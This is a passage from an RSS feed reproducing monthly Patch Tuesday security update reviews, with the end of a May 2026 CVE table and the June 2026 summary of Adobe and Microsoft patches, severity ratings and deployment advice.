  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21530"><span>CVE-2026-21530</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32170"><span>CVE-2026-32170</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40410"><span>CVE-2026-40410</span></a></td>
  <td width="256" class="xl73">Windows SMB Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35415"><span>CVE-2026-35415</span></a></td>
  <td width="256" class="xl73">Windows Storage Spaces
  Controller Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34350"><span>CVE-2026-34350</span></a></td>
  <td width="256" class="xl73">Windows Storport
  Miniport Driver Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40405"><span>CVE-2026-40405</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40414"><span>CVE-2026-40414</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40401"><span>CVE-2026-40401</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40413"><span>CVE-2026-40413</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35422"><span>CVE-2026-35422</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Driver
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34351"><span>CVE-2026-34351</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40399"><span>CVE-2026-40399</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34334"><span>CVE-2026-34334</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40406"><span>CVE-2026-40406</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33837"><span>CVE-2026-33837</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Local
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><span>CVE-2026-40415</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42825"><span>CVE-2026-42825</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34338"><span>CVE-2026-34338</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40382"><span>CVE-2026-40382</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40380"><span>CVE-2026-40380</span></a></td>
  <td width="256" class="xl73">Windows Volume Manager
  Extension Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40408"><span>CVE-2026-40408</span></a></td>
  <td width="256" class="xl73">Windows WAN ARP Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34333"><span>CVE-2026-34333</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34347"><span>CVE-2026-34347</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35417"><span>CVE-2026-35417</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42891"><span>CVE-2026-42891</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35429"><span>CVE-2026-35429</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41107"><span>CVE-2026-41107</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40416"><span>CVE-2026-40416</span></a></td>
  <td width="256" class="xl73">Microsoft
  Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl72">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira &amp; Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.</p><p class="">Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.</p><p class="">As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.</p><p class="">This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption.  Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook.  On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.</p><p class="">The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI. </p><p class="">There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.</p><p class="">There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
